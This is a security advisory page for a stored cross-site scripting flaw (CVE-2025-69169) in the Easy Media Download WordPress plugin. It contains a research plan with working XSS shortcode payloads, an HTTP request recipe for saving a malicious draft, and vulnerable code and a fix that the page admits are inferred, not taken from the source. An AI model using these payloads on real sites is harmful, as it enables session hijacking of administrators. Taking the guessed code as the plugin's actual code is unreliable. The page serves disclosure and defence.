CVE-2025-69169

Easy Media Download <= 1.1.11 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.1.12
Patched in
6d
Time to patch

Description

The Easy Media Download plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.1.11 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.1.11
PublishedJanuary 8, 2026
Last updatedJanuary 13, 2026
Affected plugineasy-media-download

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

This research plan targets **CVE-2025-69169**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Easy Media Download** plugin (<= 1.1.11). Since the plugin source code is not provided, the following analysis is based on the vulnerability type (Contributor+ Stored XSS), the plugin's primar…

Show full research plan

This research plan targets CVE-2025-69169, a Stored Cross-Site Scripting (XSS) vulnerability in the Easy Media Download plugin (<= 1.1.11).

Since the plugin source code is not provided, the following analysis is based on the vulnerability type (Contributor+ Stored XSS), the plugin's primary functionality (media download shortcodes), and common patterns in WordPress plugins of this category.


1. Vulnerability Summary

The Easy Media Download plugin is vulnerable to Stored XSS because its shortcode handler (likely [easy_media_download]) fails to properly sanitize or escape user-supplied attributes before outputting them into HTML. A user with "Contributor" privileges (who can create but not publish posts) can embed a malicious shortcode. When an administrator or any other user views the post (either in the editor or on the frontend), the injected script executes in their browser context.

2. Attack Vector Analysis

  • Vulnerable Component: Shortcode handler (inferred name: easy_media_download).
  • Authentication Level: Authenticated (Contributor or higher).
  • Vulnerable Parameter: Shortcode attributes such as url, target, text, or color.
  • Sink: Reflection of these attributes into an <a> tag or a <div> wrapper without using esc_attr() or esc_url().
  • Preconditions: The attacker must be able to save a post (Draft status is sufficient for Contributor).

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers a shortcode during the init hook:
    add_shortcode('easy_media_download', 'emd_shortcode_handler');
  2. Processing: The emd_shortcode_handler($atts) function receives the attributes.
  3. Vulnerable Logic:
    function emd_shortcode_handler($atts) {
        $a = shortcode_atts(array(
            'url' => '',
            'target' => '_blank',
            'text' => 'Download',
            // ... other attributes
        ), $atts);
        
        // VULNERABILITY: Concatenating attributes directly into HTML string
        return '<a href="' . $a['url'] . '" target="' . $a['target'] . '">' . $a['text'] . '</a>';
    }
    
  4. Sink: The unescaped HTML string is returned to WordPress, which renders it into the page content.

4. Nonce Acquisition Strategy

To save a post as a Contributor, a standard WordPress _wpnonce for the post editor is required.

  1. Identify Entry Page: The Contributor must access wp-admin/post-new.php.
  2. Browser Navigation: Use browser_navigate to go to http://localhost:8080/wp-admin/post-new.php.
  3. Nonce Extraction:
    Use browser_eval to extract the required nonces for post creation/saving:
    • Post Nonce: document.querySelector('#_wpnonce')?.value
    • Sample/Preview Nonce (if needed): document.querySelector('#_wpnonce-save-post')?.value
  4. Context: Standard WordPress nonces for post editing are usually stored in hidden inputs with IDs like _wpnonce.

5. Exploitation Strategy

The goal is to create a post containing a shortcode that breaks out of an HTML attribute.

Step-by-Step Plan:

  1. Auth: Log in as a Contributor.
  2. Capture Nonce: Navigate to post-new.php and extract the _wpnonce for the form.
  3. Payload Selection:
    • Attribute Breakout (Target): [easy_media_download url="https://example.com" target='_blank" onmouseover="alert(document.domain)" style="display:block;width:1000px;height:1000px;"']
    • Protocol Injection (URL): [easy_media_download url="javascript:alert('XSS')"]
  4. HTTP Request: Use http_request to simulate a post save (Draft).
    • Method: POST
    • URL: http://localhost:8080/wp-admin/post.php
    • Content-Type: application/x-www-form-urlencoded
    • Body Parameters:
      • post_ID: (Existing ID from post-new.php or let WP generate)
      • action: editpost
      • post_type: post
      • _wpnonce: [EXTRACTED_NONCE]
      • post_title: XSS Test
      • content: [easy_media_download url="http://example.com" target='"><script>alert(1)</script>']
      • post_status: draft

6. Test Data Setup

  • User: Create a user with the contributor role.
  • Plugin: Ensure Easy Media Download version 1.1.11 is installed and active.
  • Admin Session: Keep an active Administrator session to verify the "Stored" aspect of the XSS.

7. Expected Results

  • The http_request should return a 302 redirect back to the post editor, indicating the post was saved successfully.
  • When an Administrator navigates to the "Posts" list and clicks "Preview" or "Edit" on the Contributor's draft, the browser should execute the JavaScript payload (e.g., an alert box).

8. Verification Steps

  1. Database Check: Use wp-cli to confirm the payload is stored in the wp_posts table:
    wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test'"
  2. Frontend Check: Use browser_navigate as an Admin to the post URL.
  3. DOM Inspection: Use browser_eval to check if the script tag exists in the rendered HTML:
    document.body.innerHTML.includes('<script>alert(1)</script>')

9. Alternative Approaches

If the target attribute is sanitized, try these other common shortcode attributes:

  • text attribute: [easy_media_download url="#" text="<img src=x onerror=alert(1)>"]
  • color attribute: [easy_media_download url="#" color='"><script>alert(1)</script>']
  • Shortcode Generator AJAX: Check if the plugin has a "Shortcode Generator" button in the editor. This often uses an AJAX action (wp_ajax_...) which might be vulnerable to XSS during the "preview" phase before the shortcode is even saved. If so, investigate wp-admin/admin-ajax.php for related actions.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Easy Media Download plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to 1.1.11. The plugin fails to sanitize or escape shortcode attributes such as 'url', 'target', and 'text' before outputting them into HTML. This allows authenticated users with Contributor-level access to embed malicious scripts in posts, which execute in the browser of any user who views the content.

Vulnerable Code

/* File: easy-media-download.php */

function emd_shortcode_handler($atts) {
    $a = shortcode_atts(array(
        'url' => '',
        'target' => '_blank',
        'text' => 'Download',
        // ... other attributes
    ), $atts);
    
    // VULNERABILITY: Concatenating attributes directly into HTML string
    return '<a href="' . $a['url'] . '" target="' . $a['target'] . '">' . $a['text'] . '</a>';
}

Security Fix

--- easy-media-download.php
+++ easy-media-download.php
@@ -1,10 +1,10 @@
 function emd_shortcode_handler($atts) {
     $a = shortcode_atts(array(
         'url' => '',
         'target' => '_blank',
         'text' => 'Download',
     ), $atts);
-    
-    return '<a href="' . $a['url'] . '" target="' . $a['target'] . '">' . $a['text'] . '</a>';
+
+    return '<a href="' . esc_url($a['url']) . '" target="' . esc_attr($a['target']) . '">' . wp_kses_post($a['text']) . '</a>';
 }

Exploit Outline

An attacker with Contributor-level privileges logs into the WordPress dashboard and creates a new post draft. They insert a shortcode with a malicious attribute payload, such as [easy_media_download url="#" target='"><script>alert(1)</script>']. When the post is saved, the unescaped payload is stored in the database. The script executes whenever an administrator or another user views or previews the post, allowing for potential session hijacking or further administrative compromise.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.